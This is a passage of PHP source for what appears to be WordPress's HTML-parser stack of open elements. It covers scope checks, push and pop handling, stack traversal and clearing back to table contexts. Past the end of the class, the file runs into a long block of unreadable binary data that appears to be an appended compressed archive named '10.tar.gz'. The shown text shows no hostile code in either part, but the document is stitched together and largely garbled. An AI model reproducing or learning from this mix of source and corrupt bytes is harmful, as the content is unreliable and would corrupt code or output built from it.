	 * >   - td
	 * >   - th
	 * >   - marquee
	 * >   - object
	 * >   - template
	 * >   - MathML mi
	 * >   - MathML mo
	 * >   - MathML mn
	 * >   - MathML ms
	 * >   - MathML mtext
	 * >   - MathML annotation-xml
	 * >   - SVG foreignObject
	 * >   - SVG desc
	 * >   - SVG title
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full support.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in list item scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - ol in the HTML namespace
	 * >   - ul in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Implemented: no longer throws on every invocation.
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'OL',
				'TEMPLATE',
				'UL',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in button scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - button in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in table scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - html in the HTML namespace
	 * >   - table in the HTML namespace
	 * >   - template in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'HTML',
				'TABLE',
				'TEMPLATE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * This test differs from the others like it, in that its rules are inverted.
	 * Instead of arriving at a match when one of any tag in a termination group
	 * is reached, this one terminates if any other tag is reached.
	 *
	 * > The stack of open elements is said to have a particular element in select scope when it has
	 * > that element in the specific scope consisting of all element types except the following:
	 * >   - optgroup in the HTML namespace
	 * >   - option in the HTML namespace
	 *
	 * @since 6.4.0 Stub implementation (throws).
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether the given element is in SELECT scope.
	 */
	public function has_element_in_select_scope( string $tag_name ): bool {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			if (
				'OPTION' !== $node->node_name &&
				'OPTGROUP' !== $node->node_name
			) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope(): bool {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop(): bool {
		$item = array_pop( $this->stack );
		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until an HTML tag with the given name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $html_tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( string $html_tag_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( 'html' !== $item->namespace ) {
				continue;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $html_tag_name &&
				in_array( $item->node_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( $html_tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( WP_HTML_Token $stack_item ): void {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Accepts $above_this_node to start traversal above a given node, if it exists.
	 *
	 * @param WP_HTML_Token|null $above_this_node Optional. Start traversing above this node,
	 *                                            if provided and if the node exists.
	 */
	public function walk_up( ?WP_HTML_Token $above_this_node = null ) {
		$has_found_node = null === $above_this_node;

		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			$node = $this->stack[ $i ];

			if ( ! $has_found_node ) {
				$has_found_node = $node === $above_this_node;
				continue;
			}

			yield $node;
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( WP_HTML_Token $item ): void {
		$namespaced_name = 'html' === $item->namespace
			? $item->node_name
			: "{$item->namespace} {$item->node_name}";

		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $namespaced_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}

		if ( null !== $this->push_handler ) {
			( $this->push_handler )( $item );
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( WP_HTML_Token $item ): void {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'P':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}

		if ( null !== $this->pop_handler ) {
			( $this->pop_handler )( $item );
		}
	}

	/**
	 * Clear the stack back to a table context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table context, it means
	 * > that the UA must, while the current node is not a table, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TABLE' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table body context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table body context, it
	 * > means that the UA must, while the current node is not a tbody, tfoot, thead, template, or
	 * > html element, pop elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-body-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_body_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TBODY' === $item->node_name ||
				'TFOOT' === $item->node_name ||
				'THEAD' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table row context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table row context, it
	 * > means that the UA must, while the current node is not a tr, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-row-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_row_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TR' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.6.0
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKE�N\�Ov���	10.tar.gznu�[�����	�+YU0����#(���2�I�dO�ݯ�M�;ݝޗ�ޣ_%�$՝T��*�N�<Dd�TqdQ6d�P@EPDQD�@���s�U�*�t�73���?�y�T�{�۹g��VP���r���'N>}}���ɾD�@�����x/y��z����������l�&�m�_���S߼�4s�M���&I�n�)3;�F�|�������~᩿<� �h��LHw���=�F~o)������r���w�&��j�;�$=잧�?���_W����L���O��
���S���W��ۏ{�=o��w�ջ_�ۻ�_�w�o�돺��w���_��W�~������F�yo<u��~���ew�����ݿ�x����")�����{�P���ĕG�!����y����{���Aҭ�o*Ʌ⅋d��|S�6ievE�V+�T�5����/�n�A�XLZ1��lȖ�k��7��bYjU��$�V�JwP
����7tx���3�)���"����+P�"k%��
Cnv-u�OA!�
�O� �pk�U���5��}~o-���^�^
����ċ�\���h�Gq~�����G�\��c�/��c�|�#E���ʪ���+�ǂtDje�ث��I7h���^^���U�Ɍ�G�=�@�7�==-���助`�fiO���G%2I�b�y�W�)TP�r�b����BQ2����R��
y
��i��ǚ'ѾQ�~�T�"K����VTK�o�>�3(u�|SW�*({� ��F3(��cka	^jJc�H��q��(���,�
��g�'��H�t_-�rPF�[����g�H��nV�[�Z-��@���+US�m�6q�X�����Y)%E�%K�+�M�K��Š&�*
�DF���Qޛ������@����JY7����N�kr�V�.��ɦ�Ѝ}�</��K1���l*A���7=x��R�����b����d*� *�~a�uCكj������7���%ˢ������L�ԢK�l���T�r&P�]���T�
Y[m�m3Y&[L����&�(����T�׈����˼�����w��xK�%Jh	)��ǥۤ�r�*_
䦹_uC=���	J].d)�6)z�QdF8Z�	��R)g�
2&��v��̭�J�L���6�k������^jr2���[H-�l�f�@�IY�I�tt~�U��.ZM�
�`���������U$�JΗ%�[I6%���9Z�`�t��ap�ˌ�e�=��32F����C�!���������k�/�C��&�E��ǞI5%�}U&�tJRipϮ����E�):"��凄eȚY�w�Mź�G����}�R�-�T����
��'�mxt	KB��b�
M�By܋�<����bA���&��aJ�V�S�$�	A6�#����}^�3��>Ȍ�Eɐ !q�^��y�j�)D��B]�	jP�P���9��@D�? [t18K*��R*��T�s䰎�5��`غhŞ2%�_RZlɵ@�/�l@���j_�p��"�׵�����V��#5Ũ��6�R�2�(_b6�y>ʸ��"<"����y8C(�C{q�T����U�U�Oa�G���!�����bѭ�����)�@J�!5�9���	O��V:r��)�zE6ܠ"�@
8�\�&�i �5%O�'7�\'�}�>�)�I��:K:��.`�44�E�	_�&�	����TSk�XMf��4�����YQ��A�#%��IV*:��&�.�)H�"�,a����Ѳ���탲��k�D�A�3m��v�!ڛC��:�����$��7�!���7}�{���B�V��ޛx�:z���M�!ju�
/�{CJ�Ze�T$���$ǵňh��*a0��ǯLX���*<�;�DZ#PG�c�8��|i��$�r_���2P
��&B+A��v
p�f~��R�A� ye&�|	V��v��p��A?�݀��=�-<�}0�j󾐙f� (E�|Aأ�Gr���
KC=�3V&o�c�Ԡ���� O`jn���y�cR='6r\OG��t6�!�H7�nn����)87��.1j3 �S��m��w��=�>�|DN�y�0���P9VM��)�UV�bt&u�"�wdJ5k��B�#�lYd��(�5��o ���QT����6k
V���9�ݼ�
0~��z:9��^�\={��ڙR̼��h�Q���=[T�v���^P��U�`\p�P�ǥ�++u��݃
'�L����Z�B�Z�)U�p+F�.�"��^S4VX
��2 �}����-���R�e]*��`jai���w��jE��_!B�f�E�Mi���I9a�b���
�F������+�!B	2��ƥ�x���[Ҵ^�
���S���-٪�#��=���5>��W@�� ��J�$2�}Ĵ_���d��pkڢ
}�#1�
�y*RB4J�W7�0��'����#״�%S�L,}������c�&��o�rfmt>��)�n�[<���l<sV�g���D6��ڑ����Y���Z����H�G^Ղ�"�pG�67��>��{�<��#�=n�n��`?��B����ؘp�ѕ���@p��N��w��X��z�.vQr�D�<����<�״2�DZr����8����9DK��Er��p�:
e�ntN]�9/��
��E9|'�~�=M����L"G@ ���ѿ�i�<?	�~��FbO�s�e�
�
���z�_׋(��|�PHpΟG[W�o�k`�\�>��a�u2��&@!�Ͳأ±.�y�^c�kg�����
N
jʡ��H����zδ�hX��%¨3
,Dװ�g����.��zKW1髀���{p���)�z5C)�B�/㳰X��qp�/�
��dG�5��FX�E�|5�2u�B̸"�^��kJU7%�
�����8^�-�"5�g��|�����dH�Q�w8=�����,�
�8�H�%i6�u��-�R
 H��)��ȣq�6y!&��zD�ɞ����t�'?I���M����0&�!|Ėbn�ѥ�U�^��$���).9@-������� �BV�R�����qZ�B��z�D`�]sjb8��jg��10~�|Lo�����km
X1 U�������`��q���!��yo�;��4�A�]���=_�9
횗.�F/�Dɦ��VwO@���<�ht�x�CΈ��7R�=@'��*�Y�'�@��/(^��L�g�@.k��7�^�F�L��ꦩ��hx��3��&��N���~p&���j>��U� �T���<�^]�$		���R�`yMD���t�\#��=�4�Y��SC7�1��!+�A�s�Ȁ���Kr2U���C'z�* ܓ��v�L��[ph�)�ǀ�dvs�(��WY�>�U�"Ѵ-��X�]ޒ�R��Dj=���8��W#�����G��4�j�TQ����D��}c�}���a�w�5���"y�}����c�-��~Z�u�γ�S�`���K(g�阳��3i]"3ض.��&,��l�׭�P��v�U���=씈\X�'�ͪ�����2Ȉ��#�8o���\���D광-*�o�#����q����^�.]#�%�G=,��B�Z�Uz.�#G��G�"daėa�h�j�w��,����E��Y��2���j�vT��ť����ڞ>
���.�Ԅ�TX�5C���hP�Q*�b!�f��/(���(F�˚D�0V�n[��̊��  ��8�}d-F��2"	!d!�9�i&����o��7Y_�b��g�l�
����<��I`J��t�ƨ����`��+�]O/�'��m�����$֣#�իDP*��=|x�(�����:�RfZJogֳ��U;������z#�;ҾS5��NeӬ	g�R⊻-�IB",Q�]A�}^%��G%�$<	����kĦ�e���kY)��]v����Z�H�w��(������>A���`͝߇�G�>{��\(%��N�e�����q�_�ߍ�`��+��Q���J���5(�P�УH�7�T��2�=-+��haA�N��i����Fvy/�D�bz);v�r�JH�E5����"6d���'o+�)Qo
v��:�T-�ik'R��f#j�@g.�QBu�	�<
ŭ�
!J��
��
��q�,}E	�\Q��A]������!��<���`TB���TF�!d5�u"�G�'�L����Yg_�f��s!A�2ԺD�� �K[$�:80� ��./�zc�Z*݊���])�@�mY�q r�`��A��&�j2� >���x~�TN�d�-w��{�)ĔvK

�aP�CM~���h+��nx��$��#����|ݲM�7x0€�*����'d�ȌV\��Ys^$�#�94��3;C����/VK��������?�C�+���V�5	�"[	��IK:�:�8�L�jٶ2N�	��`��x/wDk{,҂�\�%u����&��|X�Ij�u�KMN-7�鮙����/=��:A��k�����nn��K��8�����>�^9zpX��<Ln�/<�%����>ʼ?m]��Q�L��}�-�B���o)�DN�"moo:����#�\$�Z�d6���zU!�R��ޮ&�Hh����P���dΈ�����c�Հ�2��0#��0�zE7F�9(��4�@U���%m*FA���ˆ�Y�r�Xj�ʚ?�"���R1"^��ʔ�,�_�2=	�#�h�tN��A��Ð*�ШQ��Vj�#N;['@@���=�`��'�V�2"ՍJw����>�մ�(�ڰ�9��ֈ�ϔ��,�o��%�m~�V'S��W_X�—���Dv#�J��2K����U򰴶��^��{�����X�x��k�~_o2���.n��S)�7�SK4���T#�X$�-n��Job?x8�h���D2[R��K�Un�Ȑ��Dj3�r2�\��k������zI�Sf�}Y�P��yO�W�Ofv
foSK5���Jo�گ��[��S%5�Y
���wB��B�?�3��
��ɐ�<߻��������)��s���L���Au�Ȥ���ذ�ѷP�+��D%#�I�����`&����|��ր��o��7}s�m}{S7��t�R\��z3s�um�\��˛������Fc!ۯ$�}��a��K��V&a���ɾ�99����1*�F?�$����Ӊ�U�xqv����N����U��C��A���I� �]���Uˈ�lM^�/n���Z)64a��������ON-V{&��Å������Do%]�d���>�d,_X>��>�
Vr[������AoV7��S�fc_�-�%Nvj�SfM����R�p~�`hik V���哤���O��s��^ym��m��i�������ө�F_�f��^>��}������Vl�0So��qs+T��eW5넌���{���7br?Y������Tڀ5�?�[-¢�?�o�gc��I��6�si�n!��S�^:���zw��*���A.9Wɤ+��V��Q�,��V��[CP!�QI�n��ɥ��՝3���6�wN�v�7k3�kNjjzR����#}��VV��չ��fC�vr���Ƃ���t����g�cťE�/����\X-�v�;�KǫG�����%m�dm`��v<��������j3�q����̴��_:܌-��rr��̪��nhubj'��[�Շ��fz���b%����W+�	=�H�*d�lf�R��Fv~`!n�ֶC����n2���8�X�ke��Xب�O����ܿ�.�d��F%?x�8��X[8���哾�ɉ�)���4��������ω�����q0W*��ƨˉ@��Ԥ�xX��@�}y[���˗��AN?��0����ݭ���/X�� � k��D`�=~�gX+��@�`��
7\�j������]����� b�PY��3'X�h�.1��0)5�zE!�*rNA��6��v:#��ɚ�[:9ǻK#��ql�O�	6(�� �S,�k�œ�<E���&�e˪���ѿ{+�k���w����:@c�����׶RkS驽����/�~Ű3�H���ٳVE=a��_���]F�y�zp�]^��x!70���(Q�}�����EW�#���&�Co�V���jMd�=�h�m�ܦgf	,4��_0k��w4��.Kwʎ�����61Χ�pt;�Z65�#ۍ��?y%��Tr���6�a���s���45�Bt���c�C	���ˉG��+�X�gX��j�A��Z	�I�(+n�!�5��o�EEC
�X	��f�ub�7p�V�Z
���ü�$U�'�PgMw�L:{)H���(��x����g�ֱ�w

V+H���KA�464J���+�ż
:Ԁ���SF<���Z<��wK���]���*z�	}&��+����� ��L��`��Pc1�v��L�U��W2�i�6H��)�_t@������h�P�:GZ7T�S
R0��'�BLie����U84��qѢ�此�U�۸b�h4:�S�g"�d��w}�͟xW�?�J��'���I�x���O��o��{>��O��'�#}�=��[?�ޛݾ)ΠD�ts�6�TYy
�.�]h�*豂�~����1�P!b|H��N���3&훺�WPh�T	�N�`���=j��cl������N�H������!l<:�I\c�AL�lTR��? A�,��x}zP Wu��I��ո����QC�
��SJ��[���7S��:;
	4k����P��XP�ފJ_56���`��I����2���c�d`��D��b�
�L�g-�$+N�.��#T{�'יUVE<���� ���7��	�B��.ɔ-�h�Mh�)J�F5�
m8%��,LC1��k��x�_"�]z�{M!�lK�Ǿ���|�<���>�G���$u��Jw��B@�#��.��KKJ#�L>�b�C�����1���ɂkθ�:�o�P�8�1��}x]U+�^�G<@��a8c̃0uu����vl��ٶ
Qt�q�B|\�Ɇ0���0�$�+ڍ���Ƥ@4@í��@KĚ��A���0T
ꍶ������2�0�Fc��%���Ͱ��H��`��H~-c��Ƽ�(�O{da�
���r��>�����L
�e��LGrlB�K^7�]�{:�r���c�#�����v��B�'0��1���4Ͷ���`r��.�A9ЫW��=*zI՘6����������XS"v9*�q���2�מ�j�j!�3���[�P�.'��_�W��ܼ��F��N�{��2�ΎU�*;���"8���3!���T�����涠S��)�s�{a>���(�X������'@�'��9�Ğ�,/f�+�4�ԙ����*o��.O���>�v�s�S�U�;NǦ�K�-����G̙ȕ���`�
Y���7�?}G�_��+	��|�v��kl|:�	�j|HĤQ�Bnr�#��p"�9+�1i�0ʧsј�Z�d�Ky�Sף�0�ȗ��=ჷ����e����c�O������.�\\�F$�[���Z8�m;��ܣ�B���{�m'�ރ��E�D�Z0lQ�a��p�Ҷ��!L�kQX7�1�s�^϶BPt��>̈́C��|.�����)
;�_h[8�5�‹t��Ð@��`"�ԃ��b�(:�HzCP�!u�;Zmo7XD�^'՞Fg5	�信aQ�rL0z$�kYѴ�G'�7F�x6+���z5�jJ[ ��(}o3����7���K�"bTzg䘈{*�gW���3w�����v�w�)��g"k��K��tc�4
wFw�4���H�n��u��[�␴0�K��2���{�>����v��Y1�ù�i�l���� BP>��͙9��"�FL�3F)Bu2f09�l�dj%VOwt�b����tXJ�ͭ̄�ޱ�%�ol}�<�[Y�
Kc�+��<X#�m�Kj���B�?|��kJ��}/_�^�׹j��%|���sj��0U	�mP,�M�Ѫp�Ei�5U��y��̖�}�)ʢ���P>�L�O�<�)o���)x�8�EUS%4��!�rS��K�9?��<�I��;��u{&����6g s<�:��z�-�v�C�L�G��	:��$��x|T�c�lDJ�qI���ҥ�nYz5,ݢ���y)���-��2T���p�0������sq� �O��!ˈ��*�UȤ��*_�S�=]�JN��r�'���	�L U�5��Ud� 0�aT��?�V��N��D*��j�h���O:YfT��t����wT�dn���R0:3��y����f9��.|F��^#O��4�����B�g"O�f�KY"�N)Z�X���t�O�=�������<��f�� �B����{Dz�LH8~��+��ک�gө)RL:��Zz:��0>k����Rv-��N*9�G���*�Jj
�X�
�9U\Q:�[�M#�3v)p�0������KO�r[>�eC��:��]���W��O{y�R�m
m�r��
�gk�;���9��$��x��D0���d��}�9�b��@�<���x�
�'�"l�s=��:�V���G5,l%BCd�E��k#C)6n����HU����Y5h��<VP �z��
I�"&ce,AAKЇh�K�z�^����W}�]�p!F��h�o�	���'N��!��
Ї>R��j�9��ufz�D�T���U	mS5x�w����A ��=R�ۑ
j�����}<>00<<�q8M���xd�G�:\�ԙ�&GDkt׀ӂV�Ze�A�:=�����Ԣ_����"����}��&�+�ϷtKjrbbr��	�-�@�U�躑 
;ءיm��A�eH�RH��[�5�'�f��y��kpH9��Gt��D�i:
��6�B��Ģ�vE�����X��m����Ԥk,���0%>�� �{!��]%yJ���� ���,R��p췄8K�0RT
ӊ��j�p-�ei�ܺ|_�0Y
�I�n�0�ɺ�_�eX|6�R"��v�u��%a�H	�ڦ�HQ��MWa�n�YK��%dy(�s�=Z7X���1�}]�~�š�p�����jbbU���z��\o����4���h撻���F*5�/k�K���Jmz����hmr�OMU���Fy#����T�R�;��Ճ�u�D�׃͍|zmmc#=3������>�8��6�2�|2U<���˥��j�}�}yX�b��J]1���''�bj2��Z�ZZ[�I-nd��29u<���SV뫙��l*�N�'���'��ʼn�J9�2�02fj����P�&SS���Qjq�9k�Wk�|jg2��O����Lj#���?����3�]�:��M��3S;Ʌ��t�Jͤ�b(�Me&���`ju"W�Lo���5�hvw�LʗS�'+�zm:5]j�&֪�C����������L�fR���ũ�t��L�J���٨�Rk���L��ԗʬ3C����z��^�����2C��������d�x"Q�^(��'��ǫɝչr� Uoh�ݙ��R*Vj�ٞ\�^�-�b+��b߲a./�ɩʐ5`�Ěs�N}%ԟy�X������d�dFO
N�V�0S,��ۥz�PTv�����FJ_����R#4�7���*,h�Ie���<�����k��b�֨�R�������}��\&��ޙ��X�/5̓xv~#ҟ�+�,����B~!k�ͅ��|�֤�їH��w��U��,
Uݘ_��oT�G�}֐j,�zO6R�Jm���ra���\o�W�f����|*�2?��ݘO��J3�T_~�7��6���)���j*�}�z�P�Λ'��I2,k�����L,;13y��(�LLN&&cǥ%}mrn1;�Z������fg�J�rsrUUgNr�Y]G�t���8�&g�l>�WoT������X�<9781�М�\]�h�Jٝ�YYMM�j���_*mWw��2���)5795�N��e�kK��
�������3�R���8���҃d�5KG͙�t����ind{7�6��r�wF_��KG�����U}hK�;Z����N#�+���di%��V���rig�d%��JՏͥI3[2'w����i�H5���ac�1U��;C��Bcu��������Lig�b}�����Y�/�f'W��>��8�*O�N�5糇�z|���B�՝���q9Q�,L�l������Ġ�^I/5W�Ս���`u5uP=�Mg����L�ڿ�	���f|}B�?��ݙzs⤺A���lhJv�j�`&�Z�����\*/g�6B}ì���Jzy#޿�[�N�Ml�����UB�e2 e�2����铵Du_[*�έl�j;;S-m�+��*����Be��2<�7�jk!u{ �/4K����q_Y����fR����J��|h';���3w�����Y����N�W�67K��Z�ޝ���m�W��͙�~�9_=��a��Jl/lfB���Ұq����X�?\�6*���a-�:�X�m$���:{XU�\b5V��ߍ��l�����L�܌�-�&���fo��l�K�}��Rv;=g�.%����F}'��TO���r��di~1��l-o������Cs��lI����ށ��r�h^��fv�م����c�&oW*��>o�Ƌ�QV��
��t=�
�V�'�㺶=Y���-O�jÕl�����.�d����9=g���Zh`G3��&�_�
%׫������Fl�w�ۜ��.͘���e.��KC�����I��0T�
mNOm�R������v��Z��҇7g�7vV�g����Ń�d�L./�ϕv��T/d���`����U����`v�Z<�]<����D�$~�8YЪ!%��?*Z�	Y��M�PM�g6���\�hu�8��7��-ysgs�V0㲥��J¨[���Zm��|04kWkN[f5y�����;V�nU���ִ�S.h��V���.
׵�R,���)�N���r"�\kNOն����vR_���������㩕��ʾU^Y�'�j�˹x��M'��|�ʉ��ϭ�-,,�򡅚�;�z3G��|ae�x[��m��˹F=�'b��zmP/浡F\kV����I|q%��X�/�c����ř��1ۿ�M�nk���B��QP�f��Q�<x�
